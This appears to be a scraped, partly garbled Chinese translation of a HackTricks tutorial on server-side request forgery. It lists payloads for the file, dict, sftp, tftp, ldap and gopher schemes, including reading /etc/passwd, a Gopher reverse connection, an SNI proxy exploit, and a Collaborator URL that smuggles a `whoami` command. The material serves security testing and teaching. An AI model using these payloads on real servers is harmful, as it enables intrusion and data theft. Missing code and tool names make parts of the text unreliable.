最后更新于
最后更新于
使用 来轻松构建和自动化工作流,使用世界上最先进的社区工具。 立即获取访问权限:
服务器端请求伪造(SSRF)漏洞发生在攻击者操纵服务器端应用程序以向其选择的域发出HTTP请求时。此漏洞使服务器暴露于攻击者指定的任意外部请求之中。
您需要做的第一件事是捕获您生成的SSRF交互。您可以使用工具来捕获HTTP或DNS交互,例如:
Burp Collaborator
通常您会发现SSRF仅在特定的白名单域或URL中起作用。在以下页面中,您可以找到绕过白名单的技术汇编:
file://
URL方案file://
指向/etc/passwd
:file:///etc/passwd
dict://
DICT URL方案用于通过DICT协议访问定义或单词列表。给出的示例说明了一个构建的URL,针对特定单词、数据库和条目编号,以及一个PHP脚本可能被滥用以使用攻击者提供的凭据连接到DICT服务器:dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
作为安全文件传输的协议,提供了一个示例,展示了如何利用PHP脚本连接到恶意SFTP服务器:url=sftp://generic.com:11111/
TFTP://
提到了通过UDP运行的Trivial File Transfer Protocol,提供了一个设计用于向TFTP服务器发送请求的PHP脚本示例。向'generic.com'的端口'12346'发送TFTP请求以获取文件'TESTUDPPACKET':ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
介绍了轻量级目录访问协议,强调其用于管理和访问分布式目录信息服务的IP网络。通过ssrf.php?url=ldap://localhost:11211/%0astats%0aquit与本地主机上的LDAP服务器进行交互。
SMTP
描述了利用SSRF漏洞与本地主机上的SMTP服务进行交互的方法,包括揭示内部域名并基于该信息采取进一步的调查行动的步骤。
Curl URL globbing - WAF bypass
Gopher://
讨论了Gopher协议指定IP、端口和字节进行服务器通信的能力,以及使用Gopherus和remote-method-guesser等工具来构建有效负载。展示了两种不同的用途:
Gopher smtp
Gopher HTTP
Gopher HTTP
Gopher SMTP — 反向连接到1337
服务器上的分析软件通常记录Referrer头部以跟踪传入链接,这种做法无意中使应用程序暴露于服务器端请求伪造(SSRF)漏洞。这是因为这类软件可能访问Referrer头部中提到的外部URL来分析引荐站点内容。为了发现这些漏洞,建议使用Burp Suite插件“Collaborator Everywhere”,利用分析工具处理Referer头部的方式来识别潜在的SSRF攻击面。
通过一个示例Nginx配置展示了一种可能使连接到任何后端变得简单的错误配置:
在这个配置中,直接使用来自服务器名称指示(SNI)字段的值作为后端地址。这种设置暴露了服务器端请求伪造(SSRF)的漏洞,可以通过在SNI字段中简单指定所需的IP地址或域名来利用。下面是一个利用示例,使用openssl
命令强制连接到任意后端,比如internal.host.com
:
值得尝试的有效负载可能是:url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
创建多个会话并尝试从会话中利用 SSRF 下载大文件。
对于某些利用,您可能需要发送重定向响应(可能使用不同的协议,如 gopher)。这里有不同的 Python 代码来响应重定向:
- 使用ngrok的Burp Collaborator
如果服务器受到正确保护,您可以通过利用网页内的开放重定向来绕过所有限制。因为网页将允许对同一域的SSRF,并且可能会跟随重定向,您可以利用开放重定向使服务器访问任何内部资源。 阅读更多信息:
如果 SSRF 是由 curl 执行的,curl 有一个称为 的功能,可以用来绕过 WAF。例如,在这个 中,你可以找到一个关于通过 file
协议进行 路径遍历 的示例:
使用这个协议,您可以指定您希望服务器发送的IP、端口和字节。然后,您基本上可以利用SSRF与任何TCP服务器通信(但您需要先了解如何与该服务进行通信)。 幸运的是,您可以使用为多个服务创建有效负载。此外,可用于为Java RMI服务创建_gopher_有效负载。
如果网页自动创建了包含您提供信息的 PDF,您可以插入一些将由 PDF 创建者(服务器)执行的 JS,同时创建 PDF 时,您将能够滥用 SSRF。.
使用 可轻松构建并通过全球最先进的社区工具自动化工作流程。 立即获取访问权限:
来自的技巧。
@app.route('/', defaults={'path': ''}) @app.route('/')
如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看!
获取
发现,我们的独家收藏品
加入 💬 或 或在Twitter上关注我们 🐦 。
通过向和 github仓库提交PR来分享您的黑客技巧。